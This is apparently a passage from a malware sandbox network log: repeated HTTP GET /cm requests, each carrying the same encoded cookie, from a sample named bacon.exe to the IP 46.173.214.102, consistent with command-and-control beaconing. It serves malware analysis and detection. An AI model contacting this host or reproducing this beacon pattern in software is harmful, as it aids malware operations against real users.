Oct 28, 2024 16:02:27.969928026 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.22	49263	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:30.461158037 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.22	49264	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:31.210496902 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.22	49265	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:31.959029913 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.22	49266	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:32.723701000 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.22	49267	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:33.715864897 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.22	49268	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:34.822983980 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.22	49269	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:35.552697897 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.22	49270	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:36.297983885 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.22	49271	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:37.191828966 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.22	49272	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:37.840435982 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.22	49273	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:38.589380980 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.22	49274	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:39.035330057 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.22	49275	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:39.794770956 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.22	49276	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:40.767995119 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.22	49277	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:41.338479996 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.22	49278	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:42.093355894 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.22	49279	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:42.863751888 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.22	49280	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:43.664784908 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.22	49281	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:44.637675047 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.22	49282	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:45.421885967 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.22	49283	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:46.466135979 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.22	49284	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:47.219177961 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.22	49285	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:47.965871096 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.22	49286	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:48.729455948 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.22	49287	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:49.541256905 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.22	49288	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:50.289815903 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.22	49289	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:51.053977013 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.22	49290	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:51.804625988 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.22	49291	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:53.045945883 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.22	49292	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:53.408906937 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.22	49293	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:54.158504009 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.22	49294	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:54.953917980 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.22	49295	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:55.804593086 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.22	49296	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:56.608033895 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.22	49297	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:57.371469975 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.22	49298	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:58.120152950 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.22	49299	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:58.963347912 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.22	49300	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:59.711761951 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
